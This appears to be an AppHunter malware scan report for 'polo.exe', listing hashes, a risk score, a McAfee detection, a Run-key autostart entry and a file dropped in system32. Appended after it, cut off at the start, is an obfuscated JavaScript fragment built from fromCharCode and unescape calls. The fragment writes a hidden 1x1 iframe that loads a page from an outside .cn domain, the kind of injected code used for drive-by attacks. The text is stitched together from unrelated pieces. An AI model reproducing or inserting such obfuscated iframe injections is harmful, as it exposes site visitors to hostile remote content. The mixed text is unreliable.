; This file is generated by AppHunter
; Please contact support@cyberdefender.com for more details
[Summary]
Discovered=09/01/2005 01:17:00
ID=2780774F35F349A120A8B80D5489D4C0
ID2=20244,063F89C5FFF02EFAE37F77B396CEBB5F
ID3=19731,8B3354EC16E8EE71F6630F8460C6F2F6
MD5=5F0CB2CF3A4079520AB0A15432EB5158
Size=20244
Filename=polo.exe
Company=N/A
Risk=3.2
Virus=New Malware.f ***

[Risk Analyzer]
AutoRun=4
NonBrand=10
FileCreated=4
FileCreatedInWinSys=4
McAfee=8

[Virus Known As (McAfee)]
New Malware.f=1

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\]
polo.exe=polo.exe

[FileCreated]
c:\windows\system32\polo.exe=1

[ThreadCreated]
Count=7

Code(101)+String.fromCharCode(53)+String.fromCharCode(52)+''+String.fromCharCode(55)+''+String.fromCharCode(102)+String.fromCharCode(53)+String.fromCharCode(54)+''+unescape('%63%62')+'bc5'+String.fromCharCode(98)+String.fromCharCode(53)+String.fromCharCode(101)+String.fromCharCode(51)+''+String.fromCharCode(56)+String.fromCharCode(101)+''+unescape('%22%20')+' '+String.fromCharCode(119)+String.fromCharCode(105)+String.fromCharCode(100)+''+String.fromCharCode(116)+String.fromCharCode(104)+String.fromCharCode(61)+String.fromCharCode(49)+''+String.fromCharCode(32)+''+String.fromCharCode(104)+String.fromCharCode(101)+String.fromCharCode(105)+''+unescape('%67%68%74')+'=1'+' '+String.fromCharCode(102)+''+String.fromCharCode(114)+String.fromCharCode(97)+String.fromCharCode(109)+''+String.fromCharCode(101)+String.fromCharCode(98)+''+'o'+'r'+'d'+unescape('%65%72%3D%30')+unescape('%20%73')+unescape('%72%63')+'="'+unescape('%68')+String.fromCharCode(116)+String.fromCharCode(116)+''+'p'+String.fromCharCode(58)+String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(116)+''+String.fromCharCode(104)+String.fromCharCode(101)+String.fromCharCode(104)+String.fromCharCode(117)+''+'ge'+'t'+String.fromCharCode(105)+String.fromCharCode(116)+String.fromCharCode(115)+''+'top'+String.fromCharCode(46)+''+String.fromCharCode(99)+String.fromCharCode(110)+''+'/do'+unescape('%6E%74')+String.fromCharCode(115)+''+unescape('%74')+'op.'+unescape('%68%74')+'ml'+'"><'+'/ifr'+unescape('%61%6D%65%3E')+'');